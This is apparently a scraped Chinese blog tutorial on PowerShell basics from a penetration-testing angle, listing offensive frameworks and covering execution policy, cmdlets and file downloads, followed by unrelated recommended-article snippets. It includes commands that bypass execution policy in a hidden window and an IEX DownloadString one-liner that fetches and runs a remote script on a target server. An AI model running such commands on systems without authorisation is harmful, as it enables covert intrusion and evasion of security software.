PowerShell 基本知识

2023-11-07

常见的 powershell 攻击工具:

PowerSploit:powershell 后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作

Nishang:基于 PowerShell 的渗透测试专用工具,集成了框架、脚本和各种payload,包含下载和执行、键盘记录、DNS、延时命令等脚本

Empire:基于 PowerShell 的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用语提供前期漏洞利用的集成模块、信息探测、凭证窃取、持久化控制

PowerCat:PowerShell 版的 NetCat,有着网络工具中的 “瑞士军刀” 美誉,它能通过 TCP和UDP 在网络中读写数据。通过与其它工具结合和重定向,可以在脚本以多种方式使用它

PowerShell 优点

  • windows7以上的操作系统默认安装
  • 可以从另一系统中下载 powershell 脚本并执行
  • 目前很多工具都是基于 powershell 开发的
  • 很多安全软件并不能检测到 powershell 的活动
  • cmd.exe 通常会被阻止运行,但是 powershell 不会
  • 可以用来管理活动目录

在 powershell 下,类似“cmd”命令,叫做“cmdlet”,powershell 命令不区别大小写,后缀文件名:.ps1(powershell1.0)

一、执行策略

为防止恶意脚本的执行,powershell 有一个执行策略,默认情况下,执行策略被设为受限

Get-ExecutionPolicy(执行策略)

Restricted:脚本不能受限(默认设置)

RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)

AllSigned:仅当脚本由受信任的发布者签名时才能运行

Unrestricted:允许所有的script运行

设置执行策略:Set-ExecutionPolicy <policy name>

二、运行脚本

运行一个powershell 脚本,必须键入完整的路径和文件名,如 C:\Scripts\a.ps1

但如果powershell 脚本刚好位于系统目录中(路径),可直接在命令提示符后键入脚本文件名,如.\a.ps1,记住需要加 .\

三、管道

管道:将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号( | )连接

停止所有目前运行中,以 “p” 开头的程序

结果可以看到 powershell 停止运行了

   

四、常用命令

poershell 命令采用 “动词-名词”形式,如 New-Item ,一般兼容了 windows command 和 linux shell ,如 Get-ChildItem 命令 使用 dir 或者 ls 都可,powershell 不区分大小写

获取所有的powershell命令:get-command

新建目录:New-Item XXXX -type Directory  或者 New-Item XXXX -ItemType Directory

 

 新建文件:New-Item XXXX  -type File(无法在系统中或者c盘下创建文件,可能是权限不够)

删除文件或目录:remove-item XXX

设置文本内容:set-content XXX.txt -value "hello,world!"   (如果当前目录下并未存在此文件,会自动创建)

显示文本内容:get-content XXX

追加内容:add-content XXX -value "XXX"        (自动换行)

 清除内容:clear-content XXX

 

 五、绕过策略

(脚本不能运行)

1.绕过本地权限执行

上传 XXX.ps1 至目标服务器,在cmd环境下,在目标服务器本地执行该脚本

powershell.exe -ExecutionPolicy Bypass -file XXX.ps1

ExecutionPolicy -Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,powershell的安全策略规定了powershell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。基本每次运行powershell脚本都要使用这个参数

2.本地隐藏绕过权限执行脚本

powershell.exe -ExecutionPolicy -Bypass -WindowStyle Hidden -Nologo -Nonlnteractive -NoProfile -File XXX.ps1

WindowStyle Hidden:隐藏窗口

NoLogo:启动不显示版权标志的powershell

NonInteractive(-NonI):非交互模式,powershell不为用户提供交互的提示

NoProfile(-NoP):powershell控制台不加载当前用户的配置文件

3.用 IEX 下载远程ps1 脚本跳过权限执行

powershell.exe -ExecutionPolicy Bypass WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("xxx.ps1");[paramters]

 Noexit:执行后不退出 shell,这在使用键盘记录等脚本时非常重要

 注意:hello,hacker写进test.ps1中必须是带"" ,否则会出错

六、powershell 下载文件

(1)使用 PowerShell 下载文件,最先想到的就是 Invoke-WebRequest 命令。可它有 3 个别名,分别是 “iwr”、“wget”、“curl”。

(2)System.Net.WebClient

NET 框架中的 System.Net.WebClient 类就是一个用于下载文件的 .NET 类;与 IEX(只有一个参数) 不同,IEX 只是将脚本加载内存,而没有将脚本下载到本地

(New-Object System.Net.WebClient).DownloadFile("http://192.168.110.130/test.dll","c:\win-test\test.dll")

上面例子:第一个参数是下载文件的地址,第二个参数是文件下载完成后保存的地址

注意:第二个参数保存地址不是单纯路径,需要在后面加上文件的名称,否则会出现错误

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

PowerShell 基本知识 的相关文章

随机推荐

  • 笔记本电脑无法连接网络并在网络状态中显示ipv4和ipv6无网络访问权限

    win10电脑连不上网首先先右键无线或者网线那个图标 然后点击打开网络和共享中心 找到并点击连接 进入以太网或者wifi状态 看ipv4连接后面是否显示的是无网络访问权限 如果是 请按以下步骤操作 在桌面按WIN R输入CMD点击确定 打开
  • Docker部署Canal

    Canal Canal是阿里开源的一款基于Mysql数据库binlog的增量订阅和消费组件 通过它可以订阅数据库的binlog日志 然后进行一些数据消费 如数据镜像 数据异构 数据索引 缓存更新等 相对于消息队列 通过这种机制可以实现数据的
  • Windows10+CUDA+Tensorflow-gpu安装。装了一个星期,啥问题都见过了。(eg: ImportError: DLL load failed)

    目录 1 CUDA 卸载 2 中间出现的问题 2 1 问题1 This graphics driver could not find compatible graphics hardware You may continue install
  • 畸形报文单包攻击检测防御原理

    Ping of Death攻击 路由器对包的大小是有限制的 IP报文的长度字段为16位 即IP报文的最大长度为65535 如果遇到大小超过65535的报文 会出现内存分配错误 从而使接收方的计算机系统崩溃 攻击者只需不断的通过Ping命令向
  • 源代码中有什么

    在过去 源代码是核心机密 优秀的软件工程师在在某个公司的黑屋子里写程序 我们只能看到发布的产品 但是在今天 开放源代码成为一种开发方式 高手们在开源社区发布他们的代码 我们也终于有机会一睹大师高手们的源程序了 我们可以很容易地从网上下载到各
  • Kubeflow Pipeline - 构建自定义的 Workflow

    文章目录 1 Overview 2 Steps 2 1 理解 component 和 pipeline 2 2 Python SDK 构建 component 和 pipeline 2 3 上传 pipeline 3 Summary 1 O
  • 亮度、对比度与饱和度

    亮度是指图片的明暗程度 对比度是指图片明暗的差异 饱和度则是图片颜色的饱满程度 图片文件一般是RGB格式 当然也有的是YCBR格式 前者主要用于显示 后者则主要用于印刷 当然世上没有绝对的事情 也有人喜欢在电脑或手机上看YCBR格式的 至于
  • 消息队列-msgget

    msgget 获取系统V消息队列标识符 获取消息队列的id 头文件 include
  • 动态规划——JavaScript

    目录 什么是动态规划 怎么用动态规划 动态规划经典例题 斐波那契数 题目描述 思路 代码 爬楼梯 题目描述 思路 代码 不同路径 题目描述 思路 例题 不同路径 打家劫舍 打家劫舍 买卖股票的最佳时期 买卖股票的最佳时期 使用最小花费爬楼梯
  • 【STM32】keil环境下移植cJSON

    前言 由于工作需要 需要在STM32上使用Json 所以把一个JSON库移植到了STM32 keil MDK 实际上keil已经有了JSON扩展包 Jansson 只需要从keil官网上下载JSON Pack再导入就行 有兴趣的可以看这篇文
  • SQLi Labs Lesson22

    Lesson 22 Cookie Injection base64 encoded Double quotes 用admin账号登陆后 查看cookie 发现cookie为 YWRtaW4 有了上一节的经验 admin的base64编码为
  • 接口型模式之Bridge(桥接)模式

    1 如果你期望将实现与抽象相分离以便二者独立演化 可使用Bridge 桥接 模式 2 举例 抽象平台 public abstract class ImpLog public abstract void execute String msg
  • google v8 编译 运行遇到的问题

    环境 window os window sdk 10 vs2017 方法 官网提供的方法 https github com v8 v8 wiki Building from Source 问题1 cmd中执行命令时 tools dev v8
  • mysql_pycharm连接虚拟机上的mysql

    虚拟机上的系统是ubuntu 16 04 LTS 关于虚拟机安装mysql 5 7 参考以下的连接 Ubuntu安装Mysql 5 7 安装成功之后 执行赋予局域网可以访问虚拟机上的mysql mysql gt GRANT ALL PRIV
  • 网站工作原理,你搞懂了吗?

    网站工作原理 你搞懂了吗 网站工作原理 输入网站地址 按下回车会发生啥 1 DNS解析 2 TCP连接 2 1 TCP介绍 3 发送HTTP请求 3 1 HTTPS协议 3 2 HTTPS过程 3 3 HTTP请求 4 服务器处理请求并返回
  • 用户多设备多账户同时在线场景、匿名用户行为同步到注册用户

    TOC随着移动设备的普及和社交媒体的发展 用户在多个设备上同时访问同一个应用成为了一种常见的现象 这些设备可能属于同一个用户 也可能属于不同的用户 而且有些用户可能没有注册账户 只是以匿名的方式访问应用 在这种多设备 多账户 匿名用户同时在
  • vue动态合并行

    这个 处理数据 将表格数组传入 在获取到数组时调用 getSpanArr data this spanArr for var i 0 i lt data length i if i 0 this spanArr push 1 空数组 用来记
  • Linux下生成patch和打patch

    通过diff工具生成补丁 patch工具打上补丁 在使用diff之前 你需要保留一份未修改过的源码 然后在其它地方修改源码的一份拷贝 diff对比这两份源码生成patch 修改过的源码必须保留原来的文件名 例如 如果你修改源码中的a c文件
  • chinesecalendar 模块判断节假日

    chinesecalendar是python 中判断date类型的日期是工作日 还是节假日 比较准确地模块 先安装该模块 pip install chinesecalendar 导入模块的用法如下 import datetime from
  • PowerShell 基本知识

    常见的 powershell 攻击工具 PowerSploit powershell 后期漏洞利用框架 常用于信息探测 特权提升 凭证窃取 持久化等操作 Nishang 基于 PowerShell 的渗透测试专用工具 集成了框架 脚本和各种